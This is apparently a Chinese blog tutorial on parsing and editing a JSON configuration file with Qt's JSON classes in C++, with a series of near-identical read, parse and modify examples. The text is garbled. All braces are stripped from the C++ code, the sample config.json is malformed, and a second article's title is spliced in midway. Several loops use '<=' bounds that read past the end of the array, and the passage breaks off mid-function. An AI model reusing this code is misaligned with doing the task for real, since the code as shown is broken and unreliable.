https://www.cnblogs.com/lyshark int readonly_string_file(QString file_path) QFile this_file_ptr(file_path); // 判断文件是否存在 if(false == this_file_ptr.exists()) std::cout << "文件不存在" << std::endl; return 0; * 文件打开属性包括如下 * QIODevice::ReadOnly 只读方式打开 * QIODevice::WriteOnly 写入方式打开 * QIODevice::ReadWrite 读写方式打开 * QIODevice::Append 追加方式打开 * QIODevice::Truncate 截取方式打开 * QIODevice::Text 文本方式打开 if(false == this_file_ptr.open(QIODevice::ReadOnly | QIODevice::Text)) std::cout << "打开失败" << std::endl; return 0; // 读取到文本中的字符串 QString string_value = this_file_ptr.readAll(); std::cout << "读入长度: " << this_file_ptr.size() << std::endl; std::cout << "字符串: " << string_value.toStdString() << std::endl; this_file_ptr.close(); // 逐行读取文本文件 void read_line_file() QFile this_file_ptr("d:/config.json"); if(this_file_ptr.open((QIODevice::ReadOnly | QIODevice::Text))) QByteArray byte_array; while(false == this_file_ptr.atEnd()) byte_array += this_file_ptr.readLine(); std::cout << "完整文本: " << QString(byte_array).toStdString() << std::endl; this_file_ptr.close(); // 传入文本路径与写入内容,写入到文件 // https://www.cnblogs.com/lyshark void write_string_file(QString file_path, QString string_value) QFile this_file_ptr(file_path); // 判断文件是否存在 if(false == this_file_ptr.exists()) return; // 打开失败 if(false == this_file_ptr.open(QIODevice::ReadWrite | QIODevice::Text)) return; //写入内容,注意需要转码,否则会报错 QByteArray write_string = string_value.toUtf8(); //写入QByteArray格式字符串 this_file_ptr.write(write_string); this_file_ptr.close(); // 计算文件或目录大小 unsigned int GetFileSize(QString path) QFileInfo info(path); unsigned int ret = 0; if(info.isFile()) ret = info.size(); else if(info.isDir()) QDir dir(path); QFileInfoList list = dir.entryInfoList(); for(int i = 0; i < list.count(); i++) if((list[i].fileName() != ".") && (list[i].fileName() != "..")) ret += GetFileSize(list[i].absoluteFilePath()); return ret; int main(int argc, char *argv[]) QCoreApplication a(argc, argv); // 读取文件 readonly_string_file("d:/config.json"); // 计算文件或目录大小 unsigned int file_size = GetFileSize("d:/xunjian"); std::cout << "获取文件或目录大小: " << file_size << std::endl; // 覆盖写入文件 QString write_file_path = "d:/test.json"; QString write_string = "hello lyshark"; write_string_file(write_file_path,write_string); return a.exec(); }实现解析根对象中的单一的键值对,例如解析配置文件中的blog,enable,status等这些独立的字段值.// 读取JSON文本 // https://www.cnblogs.com/lyshark QString readonly_string(QString file_path) QFile this_file_ptr(file_path); if(false == this_file_ptr.exists()) return "None"; if(false == this_file_ptr.open(QIODevice::ReadOnly | QIODevice::Text)) return "None"; QString string_value = this_file_ptr.readAll(); this_file_ptr.close(); return string_value; int main(int argc, char *argv[]) QCoreApplication a(argc, argv); // 读取文件 QString config = readonly_string("d:/config.json"); if(config == "None") return 0; // 字符串格式化为JSON QJsonParseError err_rpt; QJsonDocument root_document = QJsonDocument::fromJson(config.toUtf8(), &err_rpt); if(err_rpt.error != QJsonParseError::NoError) std::cout << "JSON格式错误" << std::endl; return 0; // 获取到Json字符串的根节点 QJsonObject root_object = root_document.object(); // 解析blog字段 QString blog = root_object.find("blog").value().toString(); std::cout << "字段对应的值 = > "<< blog.toStdString() << std::endl; // 解析enable字段 bool enable = root_object.find("enable").value().toBool(); std::cout << "是否开启状态: " << enable << std::endl; // 解析status字段 int status = root_object.find("status").value().toInt(); std::cout << "状态数值: " << status << std::endl; return a.exec(); }实现解析简单的单对象与单数组结构,如上配置文件中的GetDict与GetList既是我们需要解析的内容.// 读取JSON文本 QString readonly_string(QString file_path) QFile this_file_ptr(file_path); if(false == this_file_ptr.exists()) return "None"; if(false == this_file_ptr.open(QIODevice::ReadOnly | QIODevice::Text)) return "None"; QString string_value = this_file_ptr.readAll(); this_file_ptr.close(); return string_value; // https://www.cnblogs.com/lyshark int main(int argc, char *argv[]) QCoreApplication a(argc, argv); // 读取文件 QString config = readonly_string("d:/config.json"); if(config == "None") return 0; // 字符串格式化为JSON QJsonParseError err_rpt; QJsonDocument root_document = QJsonDocument::fromJson(config.toUtf8(), &err_rpt); if(err_rpt.error != QJsonParseError::NoError) std::cout << "JSON格式错误" << std::endl; return 0; // 获取到Json字符串的根节点 QJsonObject root_object = root_document.object(); // 解析单一对象 QJsonObject get_dict_ptr = root_object.find("GetDict").value().toObject(); QVariantMap map = get_dict_ptr.toVariantMap(); if(map.contains("address") && map.contains("username") && map.contains("password") && map.contains("update")) QString address = map["address"].toString(); QString username = map["username"].toString(); QString password = map["password"].toString(); QString update = map["update"].toString(); std::cout << " 地址: " << address.toStdString() << " 用户名: " << username.toStdString() << " 密码: " << password.toStdString() << " 更新日期: " << update.toStdString() << std::endl; // 解析单一数组 QJsonArray get_list_ptr = root_object.find("GetList").value().toArray(); for(int index=0; index < get_list_ptr.count(); index++) int ref_value = get_list_ptr.at(index).toInt(); std::cout << "输出数组元素: " << ref_value << std::endl; return a.exec(); }实现解析对象嵌套对象且对象中嵌套数组结构,如上配置文件中的ObjectInArrayJson既是我们需要解析的内容.// 读取JSON文本 // https://www.cnblogs.com/lyshark QString readonly_string(QString file_path) QFile this_file_ptr(file_path); if(false == this_file_ptr.exists()) return "None"; if(false == this_file_ptr.open(QIODevice::ReadOnly | QIODevice::Text)) return "None"; QString string_value = this_file_ptr.readAll(); this_file_ptr.close(); return string_value; int main(int argc, char *argv[]) QCoreApplication a(argc, argv); // 读取文件 QString config = readonly_string("d:/config.json"); if(config == "None") return 0; // 字符串格式化为JSON QJsonParseError err_rpt; QJsonDocument root_document = QJsonDocument::fromJson(config.toUtf8(), &err_rpt); if(err_rpt.error != QJsonParseError::NoError) std::cout << "JSON格式错误" << std::endl; return 0; // 获取到Json字符串的根节点 QJsonObject root_object = root_document.object(); // 找到Object对象 QJsonObject one_object_json = root_object.find("ObjectInArrayJson").value().toObject(); // 转为MAP映射 QVariantMap map = one_object_json.toVariantMap(); // 寻找One键 QJsonArray array_one = map["One"].toJsonArray(); for(int index=0; index < array_one.count(); index++) QString value = array_one.at(index).toString(); std::cout << "One => "<< value.toStdString() << std::endl; // 寻找Two键 QJsonArray array_two = map["Two"].toJsonArray(); for(int index=0; index < array_two.count(); index++) QString value = array_two.at(index).toString(); std::cout << "Two => "<< value.toStdString() << std::endl; return a.exec(); }实现解析数组中的数组结构,如上配置文件中的ArrayJson既是我们需要解析的内容.// 读取JSON文本 QString readonly_string(QString file_path) QFile this_file_ptr(file_path); if(false == this_file_ptr.exists()) return "None"; if(false == this_file_ptr.open(QIODevice::ReadOnly | QIODevice::Text)) return "None"; QString string_value = this_file_ptr.readAll(); this_file_ptr.close(); return string_value; // https://www.cnblogs.com/lyshark int main(int argc, char *argv[]) QCoreApplication a(argc, argv); // 读取文件 QString config = readonly_string("d:/config.json"); if(config == "None") return 0; // 字符串格式化为JSON QJsonParseError err_rpt; QJsonDocument root_document = QJsonDocument::fromJson(config.toUtf8(), &err_rpt); if(err_rpt.error != QJsonParseError::NoError) std::cout << "json 格式错误" << std::endl; return 0; // 获取到Json字符串的根节点 QJsonObject root_object = root_document.object(); // 获取MyJson数组 QJsonValue array_value = root_object.value("ArrayJson"); // 验证节点是否为数组 if(array_value.isArray()) // 得到数组个数 int array_count = array_value.toArray().count(); // 循环数组个数 for(int index=0;index <= array_count;index++) QJsonValue parset = array_value.toArray().at((index)); if(parset.isArray()) QString address = parset.toArray().at(0).toString(); QString username = parset.toArray().at(1).toString(); QString userport = parset.toArray().at(2).toString(); std::cout << "地址: " << address.toStdString() << " 用户名: " << username.toStdString() << " 端口号: " << userport.toStdString() << std::endl; return a.exec(); }实现解析数组中的多对象结构,如上配置文件中的ObjectJson既是我们需要解析的内容.// 读取JSON文本 // https://www.cnblogs.com/lyshark QString readonly_string(QString file_path) QFile this_file_ptr(file_path); if(false == this_file_ptr.exists()) return "None"; if(false == this_file_ptr.open(QIODevice::ReadOnly | QIODevice::Text)) return "None"; QString string_value = this_file_ptr.readAll(); this_file_ptr.close(); return string_value; int main(int argc, char *argv[]) QCoreApplication a(argc, argv); // 读取文件 QString config = readonly_string("d:/config.json"); if(config == "None") return 0; // 字符串格式化为JSON QJsonParseError err_rpt; QJsonDocument root_document = QJsonDocument::fromJson(config.toUtf8(), &err_rpt); if(err_rpt.error != QJsonParseError::NoError) std::cout << "json 格式错误" << std::endl; return 0; // 获取到Json字符串的根节点 QJsonObject root_object = root_document.object(); // 获取MyJson数组 QJsonValue object_value = root_object.value("ObjectJson"); // 验证是否为数组 if(object_value.isArray()) // 获取对象个数 int object_count = object_value.toArray().count(); // 循环个数 for(int index=0;index <= object_count;index++) QJsonObject obj = object_value.toArray().at(index).toObject(); // 验证数组不为空 if(!obj.isEmpty()) QString address = obj.value("address").toString(); QString username = obj.value("username").toString(); std::cout << "地址: " << address.toStdString() << " 用户: " << username.toStdString() << std::endl; return a.exec(); }实现解析数组中对象中的嵌套数组结构,如上配置文件中的ObjectArrayJson既是我们需要解析的内容.// 读取JSON文本 // https://www.cnblogs.com/lyshark QString readonly_string(QString file_path) QFile this_file_ptr(file_path); if(false == this_file_ptr.exists()) return "None"; if(false == this_file_ptr.open(QIODevice::ReadOnly | QIODevice::Text)) return "None"; QString string_value = this_file_ptr.readAll(); this_file_ptr.close(); return string_value; int main(int argc, char *argv[]) QCoreApplication a(argc, argv); // 读取文件 QString config = readonly_string("d:/config.json"); if(config == "None") return 0; // 字符串格式化为JSON // https://www.cnblogs.com/lyshark QJsonParseError err_rpt; QJsonDocument root_document = QJsonDocument::fromJson(config.toUtf8(), &err_rpt); if(err_rpt.error != QJsonParseError::NoError) std::cout << "json 格式错误" << std::endl; return 0; // 获取到Json字符串的根节点 QJsonObject root_object = root_document.object(); // 获取MyJson数组 QJsonValue object_value = root_object.value("ObjectArrayJson"); // 验证是否为数组 if(object_value.isArray()) // 获取对象个数 int object_count = object_value.toArray().count(); // 循环个数 for(int index=0;index <= object_count;index++) QJsonObject obj = object_value.toArray().at(index).toObject(); // 验证数组不为空 if(!obj.isEmpty()) QString uname = obj.value("uname").toString(); std::cout << "用户名: " << uname.toStdString() << std::endl; // 解析该用户的数组 int array_count = obj.value("ulist").toArray().count(); std::cout << "数组个数: "<< array_count << std::endl; for(int index=0;index < array_count;index++) QJsonValue parset = obj.value("ulist").toArray().at(index); int val = parset.toInt(); std::cout << "Value = > "<< val << std::endl; return a.exec(); }实现解析数组嵌套匿名对象嵌套对象结构,如上配置文件中的NestingObjectJson既是我们需要解析的内容.// 读取JSON文本 QString readonly_string(QString file_path) QFile this_file_ptr(file_path); if(false == this_file_ptr.exists()) return "None"; if(false == this_file_ptr.open(QIODevice::ReadOnly | QIODevice::Text)) return "None"; QString string_value = this_file_ptr.readAll(); this_file_ptr.close(); return string_value; int main(int argc, char *argv[]) QCoreApplication a(argc, argv); // 读取文件 // https://www.cnblogs.com/lyshark QString config = readonly_string("d:/config.json"); if(config == "None") return 0; // 字符串格式化为JSON QJsonParseError err_rpt; QJsonDocument root_document = QJsonDocument::fromJson(config.toUtf8(), &err_rpt); if(err_rpt.error != QJsonParseError::NoError) std::cout << "json 格式错误" << std::endl; return 0; // 获取到Json字符串的根节点 QJsonObject root_object = root_document.object(); // 获取NestingObjectJson数组 QJsonValue array_value = root_object.value("NestingObjectJson"); // 验证节点是否为数组 if(array_value.isArray()) // 得到内部对象个数 int count = array_value.toArray().count(); std::cout << "对象个数: " << count << std::endl; for(int index=0; index < count; index++) // 得到数组中的index下标中的对象 QJsonObject array_object = array_value.toArray().at(index).toObject(); // 开始解析basic中的数据 QJsonObject basic = array_object.value("basic").toObject(); QString lat = basic.value("lat").toString(); QString lon = basic.value("lon").toString(); std::cout << "解析basic中的lat字段: " << lat.toStdString() << std::endl; std::cout << "解析basic中的lon字段: " << lon.toStdString()<< std::endl; // 解析单独字段 QString status = array_object.value("status").toString(); std::cout << "解析字段状态: " << status.toStdString() << std::endl; return a.exec(); }实现解析数组嵌套对象且对象内嵌套双层数组结构,如上配置文件中的ArrayNestingArrayJson既我们需要解析的内容.// 读取JSON文本 QString readonly_string(QString file_path) QFile this_file_ptr(file_path); if(false == this_file_ptr.exists()) return "None"; if(false == this_file_ptr.open(QIODevice::ReadOnly | QIODevice::Text)) return "None"; QString string_value = this_file_ptr.readAll(); this_file_ptr.close(); return string_value; int main(int argc, char *argv[]) QCoreApplication a(argc, argv); // 读取文件 // https://www.cnblogs.com/lyshark QString config = readonly_string("d:/config.json"); if(config == "None") return 0; // 字符串格式化为JSON QJsonParseError err_rpt; QJsonDocument root_document = QJsonDocument::fromJson(config.toUtf8(), &err_rpt); if(err_rpt.error != QJsonParseError::NoError) std::cout << "json 格式错误" << std::endl; return 0; // 获取到Json字符串的根节点 QJsonObject root_object = root_document.object(); // 获取NestingObjectJson数组 QJsonValue array_value = root_object.value("ArrayNestingArrayJson"); // 验证节点是否为数组 if(array_value.isArray()) // 得到数组中的0号下标中的对象 QJsonObject array_object = array_value.toArray().at(0).toObject(); // 解析手机号字符串 QString telephone = array_object.value("telephone").toString(); std::cout << "手机号: " << telephone.toStdString() << std::endl; // 定位外层数组 QJsonArray root_array = array_object.find("path").value().toArray(); std::cout << "外层循环计数: " << root_array.count() << std::endl; for(int index=0; index < root_array.count(); index++) // 定位内层数组 QJsonArray sub_array = root_array.at(index).toArray(); std::cout << "内层循环计数: "<< sub_array.count() << std::endl; for(int sub_count=0; sub_count < sub_array.count(); sub_count++) // 每次取出最里层数组元素 float var = sub_array.toVariantList().at(sub_count).toFloat(); std::cout << "输出元素: " << var << std::endl; // std::cout << sub_array.toVariantList().at(0).toFloat() << std::endl; return a.exec();

C/C++ Qt 使用JSON解析库 [修改篇]

JSON是一种轻量级的数据交换格式,它是基于ECMAScript的一个子集,使用完全独立于编程语言的文本格式来存储和表示数据,简洁清晰的的层次结构使得JSON成为理想的数据交换语言,Qt库为JSON的相关操作提供了完整的类支持.创建一个解析文件,命名为config.json我们将通过代码依次解析这个JSON文件中的每一个参数,具体解析代码如下:{ "blog": "https://www.cnblogs.com/lyshark", "enable": true, "status": 1024, "GetDict": {"address":"192.168.1.1","username":"root","password":"123456","update":"2020-09-26"}, "GetList": [1,2,3,4,5,6,7,8,9,0], "ObjectInArrayJson": "One": ["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"], "Two": ["Sunday","Monday","Tuesday"] "ArrayJson": [ ["192.168.1.1","root","22"], ["192.168.1.2","root","23"], ["192.168.1.3","root","24"], ["192.168.1.4","root","25"], ["192.168.1.5","root","26"] "ObjectJson": [ {"address":"192.168.1.1","username":"admin"}, {"address":"192.168.1.2","username":"root"}, {"address":"192.168.1.3","username":"lyshark"} "ObjectArrayJson": [ {"uname":"root","ulist":[1,2,3,4,5]}, {"uname":"lyshark","ulist":[11,22,33,44,55,66,77,88,99]} "NestingObjectJson": [ "uuid": "1001", "basic": { "lat": "12.657", "lon": "55.789" "uuid": "1002", "basic": { "lat": "31.24", "lon": "25.55" "ArrayNestingArrayJson": "telephone": "1323344521", "path": [ 11.5,22.4,56.9 19.4,34.6,44.7 }实现修改单层根节点下面指定的节点元素,修改的原理是读入到内存替换后在全部写出到文件.// 读取JSON文本 // https://www.cnblogs.com/lyshark QString readonly_string(QString file_path) QFile this_file_ptr(file_path); if(false == this_file_ptr.exists()) return "None"; if(false == this_file_ptr.open(QIODevice::ReadOnly | QIODevice::Text)) return "None"; QString string_value = this_file_ptr.readAll(); this_file_ptr.close(); return string_value; // 写出JSON到文件 bool writeonly_string(QString file_path, QString file_data) QFile this_file_ptr(file_path); if(false == this_file_ptr.open(QIODevice::WriteOnly | QIODevice::Text)) return false; QByteArray write_byte = file_data.toUtf8(); this_file_ptr.write(write_byte,write_byte.length()); this_file_ptr.close(); return true; int main(int argc, char *argv[]) QCoreApplication a(argc, argv); // 读文件 QString readonly_config = readonly_string("d:/config.json"); // 开始解析 解析成功返回QJsonDocument对象否则返回null QJsonParseError err_rpt; QJsonDocument root_document = QJsonDocument::fromJson(readonly_config.toUtf8(), &err_rpt); if (err_rpt.error != QJsonParseError::NoError && !root_document.isNull()) return 0; // 获取根节点 QJsonObject root = root_document.object(); // 修改根节点下的子节点 root["blog"] = "https://www.baidu.com"; root["enable"] = false; root["status"] = 2048; // 将object设置为本文档的主要对象 root_document.setObject(root); // 紧凑模式输出 // https://www.cnblogs.com/lyshark QByteArray root_string_compact = root_document.toJson(QJsonDocument::Compact); std::cout << "紧凑模式: " << root_string_compact.toStdString() << std::endl; // 规范模式输出 QByteArray root_string_indented = root_document.toJson(QJsonDocument::Indented); std::cout << "规范模式: " << root_string_indented.toStdString() << std::endl; // 分别写出两个配置文件 writeonly_string("d:/indented_config.json",root_string_indented); writeonly_string("d:/compact_config.json",root_string_compact); return a.exec(); }实现修改单层对象与数组下面指定的节点元素,如上配置文件中的GetDict/GetList既是我们需要解析的内容.// 读取JSON文本 // https://www.cnblogs.com/lyshark QString readonly_string(QString file_path) QFile this_file_ptr(file_path); if(false == this_file_ptr.exists()) return "None"; if(false == this_file_ptr.open(QIODevice::ReadOnly | QIODevice::Text)) return "None"; QString string_value = this_file_ptr.readAll(); this_file_ptr.close(); return string_value; // 写出JSON到文件 bool writeonly_string(QString file_path, QString file_data) QFile this_file_ptr(file_path); if(false == this_file_ptr.open(QIODevice::WriteOnly | QIODevice::Text)) return false; QByteArray write_byte = file_data.toUtf8(); this_file_ptr.write(write_byte,write_byte.length()); this_file_ptr.close(); return true; int main(int argc, char *argv[]) QCoreApplication a(argc, argv); // 读文件 QString readonly_config = readonly_string("d:/config.json"); // 开始解析 解析成功返回QJsonDocument对象否则返回null QJsonParseError err_rpt; QJsonDocument root_document = QJsonDocument::fromJson(readonly_config.toUtf8(), &err_rpt); if (err_rpt.error != QJsonParseError::NoError && !root_document.isNull()) return 0; // 获取根节点 QJsonObject root = root_document.object(); // -------------------------------------------------------------------- // 修改GetDict对象内容 // -------------------------------------------------------------------- // 找到对象地址,并修改 QJsonObject get_dict_ptr = root.find("GetDict").value().toObject(); // 修改对象内存数据 get_dict_ptr["address"] = "127.0.0.1"; get_dict_ptr["username"] = "lyshark"; get_dict_ptr["password"] = "12345678"; get_dict_ptr["update"] = "2021-09-25"; // 赋值给根 root["GetDict"] = get_dict_ptr; // 将对象设置到根 root_document.setObject(root); // 规范模式 QByteArray root_string_indented = root_document.toJson(QJsonDocument::Indented); // 写配置文件 writeonly_string("d:/indented_config.json",root_string_indented); // -------------------------------------------------------------------- // 修改GetList数组内容 // -------------------------------------------------------------------- // 找到数组并修改 QJsonArray get_list_ptr = root.find("GetList").value().toArray(); // 替换指定下标的数组元素 get_list_ptr.replace(0,22); get_list_ptr.replace(1,33); // 将当前数组元素直接覆盖到原始位置 QJsonArray item = {"admin","root","lyshark"}; get_list_ptr = item; // 设置到原始数组 root["GetList"] = get_list_ptr; root_document.setObject(root); QByteArray root_string_list_indented = root_document.toJson(QJsonDocument::Indented); writeonly_string("d:/indented_config.json",root_string_list_indented); return a.exec(); }实现修改对象内对象Value列表下面指定的节点元素,如上配置文件中的ObjectInArrayJson既是我们需要解析的内容.// 读取JSON文本 QString readonly_string(QString file_path) QFile this_file_ptr(file_path); if(false == this_file_ptr.exists()) return "None"; if(false == this_file_ptr.open(QIODevice::ReadOnly | QIODevice::Text)) return "None"; QString string_value = this_file_ptr.readAll(); this_file_ptr.close(); return string_value; // 写出JSON到文件 // https://www.cnblogs.com/lyshark bool writeonly_string(QString file_path, QString file_data) QFile this_file_ptr(file_path); if(false == this_file_ptr.open(QIODevice::WriteOnly | QIODevice::Text)) return false; QByteArray write_byte = file_data.toUtf8(); this_file_ptr.write(write_byte,write_byte.length()); this_file_ptr.close(); return true; int main(int argc, char *argv[]) QCoreApplication a(argc, argv); // 读文件 QString readonly_config = readonly_string("d:/config.json"); // 开始解析 解析成功返回QJsonDocument对象否则返回null QJsonParseError err_rpt; QJsonDocument root_document = QJsonDocument::fromJson(readonly_config.toUtf8(), &err_rpt); if (err_rpt.error != QJsonParseError::NoError && !root_document.isNull()) return 0; // 获取根节点 QJsonObject root = root_document.object(); // -------------------------------------------------------------------- // 修改对象中的列表 // -------------------------------------------------------------------- // 找到对象地址并修改 QJsonObject get_dict_ptr = root.find("ObjectInArrayJson").value().toObject(); // 迭代器输出对象中的数据 QJsonObject::iterator it; for(it=get_dict_ptr.begin(); it!= get_dict_ptr.end(); it++) QString key = it.key(); QJsonArray value = it.value().toArray(); std::cout << "Key = " << key.toStdString() << " ValueCount = " << value.count() << std::endl; // 循环输出元素 for(int index=0; index < value.count(); index++) QString val = value.toVariantList().at(index).toString(); std::cout << "-> " << val.toStdString() << std::endl; // 迭代寻找需要修改的元素并修改 for(it=get_dict_ptr.begin(); it!= get_dict_ptr.end(); it++) QString key = it.key(); // 如果找到了指定的Key 则将Value中的列表替换到其中 if(key.toStdString() == "Two") // 替换整个数组 QJsonArray value = {1,2,3,4,5}; get_dict_ptr[key] = value; break; else if(key.toStdString() == "One") // 替换指定数组元素 QJsonArray array = get_dict_ptr[key].toArray(); array.replace(0,"lyshark"); array.replace(1,"lyshark"); array.removeAt(1); // 写回原JSON字符串 get_dict_ptr[key] = array; // 赋值给根 root["ObjectInArrayJson"] = get_dict_ptr; // 将对象设置到根 root_document.setObject(root); // 规范模式 QByteArray root_string_indented = root_document.toJson(QJsonDocument::Indented); // 写配置文件 writeonly_string("d:/indented_config.json",root_string_indented); return a.exec(); }实现修改匿名数组中的数组元素下面指定的节点元素,如上配置文件中的ArrayJson既是我们需要解析的内容.// 读取JSON文本 // https://www.cnblogs.com/lyshark QString readonly_string(QString file_path) QFile this_file_ptr(file_path); if(false == this_file_ptr.exists()) return "None"; if(false == this_file_ptr.open(QIODevice::ReadOnly | QIODevice::Text)) return "None"; QString string_value = this_file_ptr.readAll(); this_file_ptr.close(); return string_value; // 写出JSON到文件 bool writeonly_string(QString file_path, QString file_data) QFile this_file_ptr(file_path); if(false == this_file_ptr.open(QIODevice::WriteOnly | QIODevice::Text)) return false; QByteArray write_byte = file_data.toUtf8(); this_file_ptr.write(write_byte,write_byte.length()); this_file_ptr.close(); return true; int main(int argc, char *argv[]) QCoreApplication a(argc, argv); // 读文件 QString readonly_config = readonly_string("d:/config.json"); // 开始解析 解析成功返回QJsonDocument对象否则返回null QJsonParseError err_rpt; QJsonDocument root_document = QJsonDocument::fromJson(readonly_config.toUtf8(), &err_rpt); if (err_rpt.error != QJsonParseError::NoError && !root_document.isNull()) return 0; // 获取根节点 QJsonObject root = root_document.object(); // -------------------------------------------------------------------- // 修改数组中的数组 // -------------------------------------------------------------------- QJsonArray array_value = root.value("ArrayJson").toArray(); int insert_index = 0; // 循环查找IP地址,找到后将其弹出 for(int index=0; index < array_value.count(); index++) QJsonValue parset = array_value.at(index); if(parset.isArray()) QString address = parset.toArray().at(0).toString(); // 寻找指定行下标,并将其弹出 if(address == "192.168.1.3") std::cout << "找到该行下标: " << index << std::endl; insert_index = index; array_value.removeAt(index); // 新增一行IP地址 QJsonArray item = {"192.168.1.3","lyshark","123456"}; array_value.insert(insert_index,item); // 赋值给根 root["ArrayJson"] = array_value; // 将对象设置到根 root_document.setObject(root); // 规范模式 QByteArray root_string_indented = root_document.toJson(QJsonDocument::Indented); // 写配置文件 // https://www.cnblogs.com/lyshark writeonly_string("d:/indented_config.json",root_string_indented); return a.exec(); }实现修改数组中对象元素下面指定的节点元素,如上配置文件中的ObjectJson既是我们需要解析的内容.// 读取JSON文本 QString readonly_string(QString file_path) QFile this_file_ptr(file_path); if(false == this_file_ptr.exists()) return "None"; if(false == this_file_ptr.open(QIODevice::ReadOnly | QIODevice::Text)) return "None"; QString string_value = this_file_ptr.readAll(); this_file_ptr.close(); return string_value; // 写出JSON到文件 // https://www.cnblogs.com/lyshark bool writeonly_string(QString file_path, QString file_data) QFile this_file_ptr(file_path); if(false == this_file_ptr.open(QIODevice::WriteOnly | QIODevice::Text)) return false; QByteArray write_byte = file_data.toUtf8(); this_file_ptr.write(write_byte,write_byte.length()); this_file_ptr.close(); return true; int main(int argc, char *argv[]) QCoreApplication a(argc, argv); // 读文件 QString readonly_config = readonly_string("d:/config.json"); // 开始解析 解析成功返回QJsonDocument对象否则返回null QJsonParseError err_rpt; QJsonDocument root_document = QJsonDocument::fromJson(readonly_config.toUtf8(), &err_rpt); if (err_rpt.error != QJsonParseError::NoError && !root_document.isNull()) return 0; // 获取根节点 QJsonObject root = root_document.object(); // -------------------------------------------------------------------- // 修改数组中的对象数值 // -------------------------------------------------------------------- QJsonArray array_value = root.value("ObjectJson").toArray(); for(int index=0; index < array_value.count(); index++) QJsonObject object_value = array_value.at(index).toObject(); // 第一种输出方式 if(!object_value.isEmpty()) QString address = object_value.value("address").toString(); QString username = object_value.value("username").toString(); std::cout << "地址: " << address.toStdString() << " 用户名: " << username.toStdString() << std::endl; // 第二种输出方式 QVariantMap map = object_value.toVariantMap(); if(map.contains("address") && map.contains("username")) QString address_map = map["address"].toString(); QString username_map = map["username"].toString(); std::cout << "地址: " << address_map.toStdString() << " 用户名: " << username_map.toStdString() << std::endl; // 开始移除指定行 QVariantMap map = object_value.toVariantMap(); if(map.contains("address") && map.contains("username")) QString address_map = map["address"].toString(); // 如果是指定IP则首先移除该行 if(address_map == "192.168.1.3") // 首先根据对象序号移除当前对象 array_value.removeAt(index); // 接着增加一个新的对象 object_value["address"] = "127.0.0.1"; object_value["username"] = "lyshark"; // 插入到移除的位置上 array_value.insert(index,object_value); break; // 赋值给根 root["ObjectJson"] = array_value; // 将对象设置到根 root_document.setObject(root); // 规范模式 QByteArray root_string_indented = root_document.toJson(QJsonDocument::Indented); // 写配置文件 writeonly_string("d:/indented_config.json",root_string_indented); return a.exec(); }实现修改对象中数组元素下面指定的节点元素,如上配置文件中的ObjectArrayJson既是我们需要解析的内容.// 读取JSON文本 QString readonly_string(QString file_path) QFile this_file_ptr(file_path); if(false == this_file_ptr.exists()) return "None"; if(false == this_file_ptr.open(QIODevice::ReadOnly | QIODevice::Text)) return "None"; QString string_value = this_file_ptr.readAll(); this_file_ptr.close(); return string_value; // 写出JSON到文件 // https://www.cnblogs.com/lyshark bool writeonly_string(QString file_path, QString file_data) QFile this_file_ptr(file_path); if(false == this_file_ptr.open(QIODevice::WriteOnly | QIODevice::Text)) return false; QByteArray write_byte = file_data.toUtf8(); this_file_ptr.write(write_byte,write_byte.length()); this_file_ptr.close(); return true; int main(int argc, char *argv[]) QCoreApplication a(argc, argv); // 读文件 QString readonly_config = readonly_string("d:/config.json"); // 开始解析 解析成功返回QJsonDocument对象否则返回null QJsonParseError err_rpt; QJsonDocument root_document = QJsonDocument::fromJson(readonly_config.toUtf8(), &err_rpt); if (err_rpt.error != QJsonParseError::NoError && !root_document.isNull()) return 0; // 获取根节点 QJsonObject root = root_document.object(); // -------------------------------------------------------------------- // 修改对象中的数组元素 // -------------------------------------------------------------------- QJsonArray array_value = root.value("ObjectArrayJson").toArray(); for(int index=0; index < array_value.count(); index++) QJsonObject object_value = array_value.at(index).toObject(); // 开始移除指定行 QVariantMap map = object_value.toVariantMap(); if(map.contains("uname") && map.contains("ulist")) QString uname = map["uname"].toString(); // 如果是指定IP则首先移除该行 if(uname == "lyshark") QJsonArray ulist_array = map["ulist"].toJsonArray(); // 替换指定数组元素 ulist_array.replace(0,100); ulist_array.replace(1,200); ulist_array.replace(2,300); // 输出替换后数组元素 for(int index =0; index < ulist_array.count(); index ++) int val = ulist_array.at(index).toInt(); std::cout << "替换后: " << val << std::endl; // 首先根据对象序号移除当前对象 array_value.removeAt(index); // 接着增加一个新的对象与新列表 object_value["uname"] = uname; object_value["ulist"] = ulist_array; // 插入到移除的位置上 array_value.insert(index,object_value); break; // 赋值给根 root["ObjectArrayJson"] = array_value; // 将对象设置到根 root_document.setObject(root); // 规范模式 QByteArray root_string_indented = root_document.toJson(QJsonDocument::Indented); // 写配置文件 writeonly_string("d:/indented_config.json",root_string_indented); return a.exec(); }实现修改对象嵌套对象嵌套对象下面指定的节点元素,如上配置文件中的NestingObjectJson既是我们需要解析的内容.// 读取JSON文本 QString readonly_string(QString file_path) // https://www.cnblogs.com/lyshark QFile this_file_ptr(file_path); if(false == this_file_ptr.exists()) return "None"; if(false == this_file_ptr.open(QIODevice::ReadOnly | QIODevice::Text)) return "None"; QString string_value = this_file_ptr.readAll(); this_file_ptr.close(); return string_value; // 写出JSON到文件 bool writeonly_string(QString file_path, QString file_data) QFile this_file_ptr(file_path); if(false == this_file_ptr.open(QIODevice::WriteOnly | QIODevice::Text)) return false; QByteArray write_byte = file_data.toUtf8(); this_file_ptr.write(write_byte,write_byte.length()); this_file_ptr.close(); return true; int main(int argc, char *argv[]) QCoreApplication a(argc, argv); // 读文件 QString readonly_config = readonly_string("d:/config.json"); // 开始解析 解析成功返回QJsonDocument对象否则返回null QJsonParseError err_rpt; QJsonDocument root_document = QJsonDocument::fromJson(readonly_config.toUtf8(), &err_rpt); if (err_rpt.error != QJsonParseError::NoError && !root_document.isNull()) return 0; // 获取根节点 // https://www.cnblogs.com/lyshark QJsonObject root = root_document.object(); int insert_index = 0; // -------------------------------------------------------------------- // 修改对象中嵌套对象嵌套对象 // -------------------------------------------------------------------- // 寻找节点中数组位置 QJsonArray array_object = root.find("NestingObjectJson").value().toArray(); std::cout << "节点数量: " << array_object.count() << std::endl; for(int index=0; index < array_object.count(); index++) // 循环寻找UUID QJsonObject object = array_object.at(index).toObject(); QString uuid = object.value("uuid").toString(); // 如果找到了则移除该元素 if(uuid == "1002") insert_index = index; array_object.removeAt(index); break; // -------------------------------------------------------------------- // 开始插入新对象 // -------------------------------------------------------------------- // 开始创建新的对象 QJsonObject sub_json; sub_json.insert("lat","100.5"); sub_json.insert("lon","200.5"); QJsonObject new_json; new_json.insert("uuid","1005"); 